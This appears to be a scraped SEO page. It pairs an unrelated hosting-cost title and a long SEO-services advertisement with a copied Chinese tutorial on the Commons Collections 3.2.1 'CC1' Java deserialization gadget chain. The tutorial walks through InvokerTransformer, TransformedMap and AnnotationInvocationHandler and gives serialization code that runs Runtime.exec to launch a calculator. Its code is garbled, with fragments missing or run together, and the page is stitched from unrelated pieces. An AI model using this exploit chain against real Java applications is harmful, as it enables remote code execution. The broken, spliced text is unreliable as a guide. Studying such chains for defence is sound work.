百度SEO

百度SEO

Products

当前位置:首页 > 百度SEO >

重庆如何为WordPress和PHP环境搭建网站空间费用?

96SEO 2026-02-23 11:17 13


重庆如何为WordPress和PHP环境搭建网站空间费用?

该项目包含了多种不同类型的集合类、迭代器、队…Commons

Collections简介

Collections是Apache软件基金会的一个开源项目它提供了一组可复用的数据结构和算法的实现旨在扩展和增强Java集合框架以便更好地满足不同类型应用的需求。

该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现以及许多实用程序类和算法实现。

它的代码质量较高被广泛应用于Java应用程序开发中。

Commons

版本的利用链衍生出多个版本的利用方式但其核心部分是相同的不同之处在于中间过程的构造。

Ysoserial

本文分析Commons

Collections3.2.1版本下的一条最好用的反序列化漏洞链这条攻击链被称为CC1链。

Map

Collections在java.util.Map的基础上扩展了很多接口和类比较有代表性的是BidiMap、MultiMap和LazyMap。

跟Bag和Buffer类似Commons

所谓BidiMap直译就是双向Map可以通过key找到value也可以通过value找到key这在我们日常的代码-名称匹配的时候很方便因为我们除了需要通过代码找到名称之外往往也需要处理用户输入的名称然后获取其代码。

需要注意的是BidiMap当中不光key不能重复value也不可以。

所谓MultiMap就是说一个key不再是简单的指向一个对象而是一组对象add()和remove()的时候跟普通的Map无异只是在get()时返回一个Collection利用MultiMap我们就可以很方便的往一个key上放数量不定的对象也就实现了一对多。

所谓LazyMap意思就是这个Map中的键/值对一开始并不存在当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用而这两类对象的类型有可能并不是出于同一个继承体系的或者说出了很基本的Object之外没有共同的父类或者我们根本不关心他们是不是有其他继承关系甚至就是同一个类的实例只是对我们而言无所谓我们为了它能够被后续的调用者有意义的识别和处理在这样的情形我们就可以利用Transformer。

除了基本的转型Transformer之外Commons

Collections还提供了Transformer链和带条件的Transformer使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

新建一个maven项目-项目JDK-添加JDK找到我们刚安装的jdk-8u65

然后配置Maven依赖下载CommonsCollections3.2.1版本

dependencies

https://mvnrepository.com/artifact/commons-collections/commons-collections

dependency

groupIdcommons-collections/groupId

artifactIdcommons-collections/artifactId

version3.2.1/version

/dependencies由于我们分析时要涉及的jdk源码所以要把jdk的源码也下载下来方便我们分析。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击左下角的zip即可下载然后解压。

再进入到相应JDK的文件夹中里面本来就有个src.zip的压缩包将其解压然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

打开IDEA选择文件

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类然后溯源看看哪个类中的方法有调用危险方法(有点像套娃这个类中的某个方法调用了下个类中的某个方法一步步套下去)并且继承了序列化接口然后再依次向上回溯直到找到一个重写了readObject方法的类并且符合条件那么这个就是起始类我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**)这就是大致的Java漏洞链流程。

Collections库中的Tranformer接口这个接口里面有个transform方法

:ctrlaltb

可以看到有很多类我们这里找到了有重写transform方法的InvokerTransformer类并且可以看到它也继承了Serializable,很符合我们的要求。

定位到InvokerTransformer的transform方法

public

//调用该类的方法//可以看到这里相当于是调用了我们熟悉的反射机制来返回某个方法的利用值这就是明显的利用点......可以看到transform方法接受一个对象不为空时就会进行通过反射机制动态地调用对象的特定方法。

而iMethodName、iParamTypes、iArgs这几个参数都是通过构造函数控制的并且为public

//含参构造器我们在外部调用类时需要用到

//参数为方法名所调用方法的参数类型所调用方法的参数值super();iMethodName

paramTypes;iArgs

}因为这些参数我们都可以控制也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法比如弹一个计算器

测试代码1

String.class);m.invoke(r,calc);*/Runtime

InvokerTransformer

invokerTransformer.transform(r);#其实就是相当于通过transform方法来实现了我们最基本的反射过程。

可以看到成功执行了命令那么我们就找到了源头利用点了接下来就是一步步回溯寻找合适的子类构造漏洞链直到到达重写了readObject的类(没有的话就寄了)。

寻找某个类中的某个方法调用了transform方法直接对这个方法右键查找用法(altF7)可以看到有很多都调用了这个方法

这里我们直接来到TransformedMap类下的checkSetValue方法

我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法

//构造方法

{//接受三个参数第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了可控。

super(map);this.keyTransformer

keyTransformer;this.valueTransformer

valueTransformer;

valueTransformer.transform(value);//返回valueTransformer对应的transform方法

}可以看到我们只需要让valueTransformer等于我们之前的invokerTransformer对象就又可以通过它来实现调用任意类的任意方法了。

但是这里有个问题可以看到构造函数和方法都是protected权限的也就是说只有在同一个包中才可以调用不能外部调用去实例化那么我们就需要找到内部实例化的工具这里往上查找可以找到一个public的静态方法decorate

TransformedMap对象并且还是public方法我们可以直接调用。

因此我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法比如修改之前的代码弹一个计算器

测试代码2

//invokerTransformer就是上个payload的

Runtime

//invokerTransformer.transform(r);HashMapObject,Object

mapnew

//这个直接实例化一个HashMapMapObject,Object

decorateMapTransformedMap.decorate(map,null,invokerTransformer);

//把map当成参数传入然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformerClass

transformedMapClass

//TransformedMap.class返回TransformedMap类的Class对象。

我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。

Method

checkSetValueMethod

transformedMapClass.getDeclaredMethod(checkSetValue,

Object.class);

//使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。

checkSetValueMethod.setAccessible(true);

//因为checkSetValue是peotected所以需要使用

setAccessible(true)改变其作用域这样即使私有的方法也可以访问调用了checkSetValueMethod.invoke(decorateMap,r);

//invoke执行Method.invoke()方法接受两个参数1、调用方法的对象实例2、要传递给方法的参数接下来我们就是要找哪里调用了

decorate

这里我们同样查找用法(AltF7)发现只有一个地方调用了checkSetValue方法AbstractInputCheckedMapDecorator类的setValue

AbstractInputCheckedMapDecorator-MapEntry.setValue()

现在我们关注

AbstractInputCheckedMapDecorator

MapEntry

Entry代表的是Map中的一个键值对而在Map中我们可以看到有setValue方法我们在对Map进行遍历的时候可以调用setValue这个方法

不过上面MapEntry类实际上是重写了setValue方法它继承了AbstractMapEntryDecorator这个类这个类中存在setValue方法

而这个类又引入了Map.Entry接口所以我们只需要进行常用的Map遍历就可以调用setValue方法,然后水到渠成地调用checkSetValue方法

测试代码3

//invokerTransformer.transform(r);HashMapObject,

Object

//这个直接实例化一个HashMapmap.put(key,value);

//给map一个键值对方便遍历MapObject,Object

decorateMapTransformedMap.decorate(map,null,invokerTransformer);//用于遍历

decorateMap

中键值对Entry的集合。

entry.setValue(r);

//调用setValue方法设置该

AbstractInputCheckedMapDecorator

setValue

首先我们找到了TransformedMap这个类我们想要调用其中的checkSetValue方法但是这个类的构造器是peotected权限只能类中访问所以我们调用decorate方法来实例化这个类在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对然后把这个map当成参数传入实例化成了一个decorateMap对象这个对象也是Map类型的然后我们对这个对象进行遍历在遍历过程中我们可以调用setValue方法而恰好又遇到了一个重写了setValue的MapEntry副类这个重写的方法刚好调用了checkSetValue方法这样就形成了一个闭环

setValue

方法我们可以继续向上查找看看有哪些方法里面调用了setValue并且可以被我们所利用

这里看到了AnnotationInvocationHandler这个类看到有个调用了setValue方法的readObject方法很完美的实现了代替之前Map遍历功能

AnnotationInvocationHandler.readObject()

readObject

readObject(java.io.ObjectInputStream

s)throws

方法从输入流中读取对象的默认数据。

这是为了保证默认的反序列化行为。

//

Check

incompatibly//这是一个自定义的类型用于表示注解类型。

AnnotationType

annotationType

AnnotationType.getInstance(type);}

{//

java.io.InvalidObjectException(Non-annotation

type

annotationType.memberTypes();//

***re

memberValues.entrySet()将每个键值对赋值给memberValuefor

(Map.EntryString,

memberValue.getValue();//判断成员值是否与成员类型兼容if

(!(memberType.isInstance(value)

||value

AnnotationTypeMismatchExceptionProxy

AnnotationTypeMismatchExceptionProxy(value.getClass()

value

]).setMember(annotationType.members().get(name)));}}可以看到这里再调用setValue前面还要经过两个判断。

我们看一下

或者默认的包级私有那么该构造函数将具有默认的包级私有访问修饰符。

默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用但在不同包中的类中是不可见的。

也就是说这个类只能在sun.reflect.annotation这个包下被调用我们要想在外部调用需要用到反射来解决。

结合前面

org.apache.commons.collections.functors.InvokerTransformer;

import

org.apache.commons.collections.map.TransformedMap;

import

Runtime.getRuntime();InvokerTransformer

invokerTransformer

Object[]{calc});//invokerTransformer.transform(r);HashMapObject,

Object

invokerTransformer);//反射获取AnnotationInvocationHandler类Class

clazz

Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()

constructor

clazz.getDeclaredConstructor(Class.class,

Map.class);constructor.setAccessible(true);

//改变其作用域Object

constructor.newInstance(Override.class,

decorateMap);

//创建该类的实例这里第一个参数是注解的类原型第二个就是我们之前的类serialize(obj);

//序列化unserialize(C://java/CC1.ser);

static

FileOutputStream(C://java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public

static

FileInputStream(filename));objectInputStream.readObject();}

问题1

调试看看断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处

调试运行

这里我们直接就跳到了最下面很显然if循环没有进去这里判断memberType但是我们的

memberType

AnnotationType.getInstance(type);

type

我们这里的要求传入的注解参数是要求有成员变量的并且成员变量要和

map

这里我们找到了SuppressWarnings注解该注解有一个成员变量

问题2

但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap或者说没有办法建立

ConstantTransformer和InvokerTransformer之间的包含关系。

于是我们又来到了

ChainedTransformer

对象的话则可以直接调用到ConstantTransformer的transform方法如果赋值为

InvokerTransformer

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InvokerTransformer;

import

org.apache.commons.collections.map.TransformedMap;

import

Runtime.getRuntime();//InvokerTransformer

invokerTransformer

Object[]{calc});//invokerTransformer.transform(r);Transformer[]

transformers

ConstantTransformer(Runtime.class)

//Runtime没有serializable接口,不能被反序列化我们需要用它的原型类class};ChainedTransformer

chainedTransformer

newChainedTransformer(transformers);HashMapObject,

Object

//这个直接实例化一个HashMapmap.put(value,

value);

chainedTransformer);//反射获取AnnotationInvocationHandler类Class

clazz

Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()

constructor

clazz.getDeclaredConstructor(Class.class,

Map.class);constructor.setAccessible(true);

//改变其作用域Object

constructor.newInstance(SuppressWarnings.class,

decorateMap);

//创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj);

//序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser);

static

FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public

static

FileInputStream(filename));objectInputStream.readObject();}

Runtime

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InvokerTransformer;

import

org.apache.commons.collections.map.TransformedMap;

import

Runtime.getRuntime();//InvokerTransformer

invokerTransformer

Object[]{calc});//invokerTransformer.transform(r);//创建一个Transformer数组用于储存InvokerTransformer的数据便于遍历Transformer[]

transformers

ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化我们需要用它的原型类classnew

InvokerTransformer(getMethod,new

Class[]{String.class,Class[].class},new

Class[]{Object.class,Object[].class},new

Object[]{calc}),};ChainedTransformer

chainedTransformer

ChainedTransformer(transformers);HashMapObject,

Object

//这个直接实例化一个HashMapmap.put(value,

value);

chainedTransformer);//反射获取AnnotationInvocationHandler类Class

clazz

Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor()

constructor

clazz.getDeclaredConstructor(Class.class,

Map.class);constructor.setAccessible(true);

//改变其作用域Object

constructor.newInstance(SuppressWarnings.class,

decorateMap);

//创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj);

//序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser);

static

FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public

static

FileInputStream(filename));objectInputStream.readObject();}

}最后成功弹出来计算器:

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map().setValue()TransformedMap.decorate()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()参考

https://www.secpulse.com/archives/188750.html



SEO优化服务概述

作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。

百度官方合作伙伴 白帽SEO技术 数据驱动优化 效果长期稳定

SEO优化核心服务

网站技术SEO

  • 网站结构优化 - 提升网站爬虫可访问性
  • 页面速度优化 - 缩短加载时间,提高用户体验
  • 移动端适配 - 确保移动设备友好性
  • HTTPS安全协议 - 提升网站安全性与信任度
  • 结构化数据标记 - 增强搜索结果显示效果

内容优化服务

  • 关键词研究与布局 - 精准定位目标关键词
  • 高质量内容创作 - 原创、专业、有价值的内容
  • Meta标签优化 - 提升点击率和相关性
  • 内容更新策略 - 保持网站内容新鲜度
  • 多媒体内容优化 - 图片、视频SEO优化

外链建设策略

  • 高质量外链获取 - 权威网站链接建设
  • 品牌提及监控 - 追踪品牌在线曝光
  • 行业目录提交 - 提升网站基础权威
  • 社交媒体整合 - 增强内容传播力
  • 链接质量分析 - 避免低质量链接风险

SEO服务方案对比

服务项目 基础套餐 标准套餐 高级定制
关键词优化数量 10-20个核心词 30-50个核心词+长尾词 80-150个全方位覆盖
内容优化 基础页面优化 全站内容优化+每月5篇原创 个性化内容策略+每月15篇原创
技术SEO 基本技术检查 全面技术优化+移动适配 深度技术重构+性能优化
外链建设 每月5-10条 每月20-30条高质量外链 每月50+条多渠道外链
数据报告 月度基础报告 双周详细报告+分析 每周深度报告+策略调整
效果保障 3-6个月见效 2-4个月见效 1-3个月快速见效

SEO优化实施流程

我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:

1

网站诊断分析

全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。

2

关键词策略制定

基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。

3

技术优化实施

解决网站技术问题,优化网站结构,提升页面速度和移动端体验。

4

内容优化建设

创作高质量原创内容,优化现有页面,建立内容更新机制。

5

外链建设推广

获取高质量外部链接,建立品牌在线影响力,提升网站权威度。

6

数据监控调整

持续监控排名、流量和转化数据,根据效果调整优化策略。

SEO优化常见问题

SEO优化一般需要多长时间才能看到效果?
SEO是一个渐进的过程,通常需要3-6个月才能看到明显效果。具体时间取决于网站现状、竞争程度和优化强度。我们的标准套餐一般在2-4个月内开始显现效果,高级定制方案可能在1-3个月内就能看到初步成果。
你们使用白帽SEO技术还是黑帽技术?
我们始终坚持使用白帽SEO技术,遵循搜索引擎的官方指南。我们的优化策略注重长期效果和可持续性,绝不使用任何可能导致网站被惩罚的违规手段。作为百度官方合作伙伴,我们承诺提供安全、合规的SEO服务。
SEO优化后效果能持续多久?
通过我们的白帽SEO策略获得的排名和流量具有长期稳定性。一旦网站达到理想排名,只需适当的维护和更新,效果可以持续数年。我们提供优化后维护服务,确保您的网站长期保持竞争优势。
你们提供SEO优化效果保障吗?
我们提供基于数据的SEO效果承诺。根据服务套餐不同,我们承诺在约定时间内将核心关键词优化到指定排名位置,或实现约定的自然流量增长目标。所有承诺都会在服务合同中明确约定,并提供详细的KPI衡量标准。

SEO优化效果数据

基于我们服务的客户数据统计,平均优化效果如下:

+85%
自然搜索流量提升
+120%
关键词排名数量
+60%
网站转化率提升
3-6月
平均见效周期

行业案例 - 制造业

  • 优化前:日均自然流量120,核心词无排名
  • 优化6个月后:日均自然流量950,15个核心词首页排名
  • 效果提升:流量增长692%,询盘量增加320%

行业案例 - 电商

  • 优化前:月均自然订单50单,转化率1.2%
  • 优化4个月后:月均自然订单210单,转化率2.8%
  • 效果提升:订单增长320%,转化率提升133%

行业案例 - 教育

  • 优化前:月均咨询量35个,主要依赖付费广告
  • 优化5个月后:月均咨询量180个,自然流量占比65%
  • 效果提升:咨询量增长414%,营销成本降低57%

为什么选择我们的SEO服务

专业团队

  • 10年以上SEO经验专家带队
  • 百度、Google认证工程师
  • 内容创作、技术开发、数据分析多领域团队
  • 持续培训保持技术领先

数据驱动

  • 自主研发SEO分析工具
  • 实时排名监控系统
  • 竞争对手深度分析
  • 效果可视化报告

透明合作

  • 清晰的服务内容和价格
  • 定期进展汇报和沟通
  • 效果数据实时可查
  • 灵活的合同条款

我们的SEO服务理念

我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。

提交需求或反馈

Demand feedback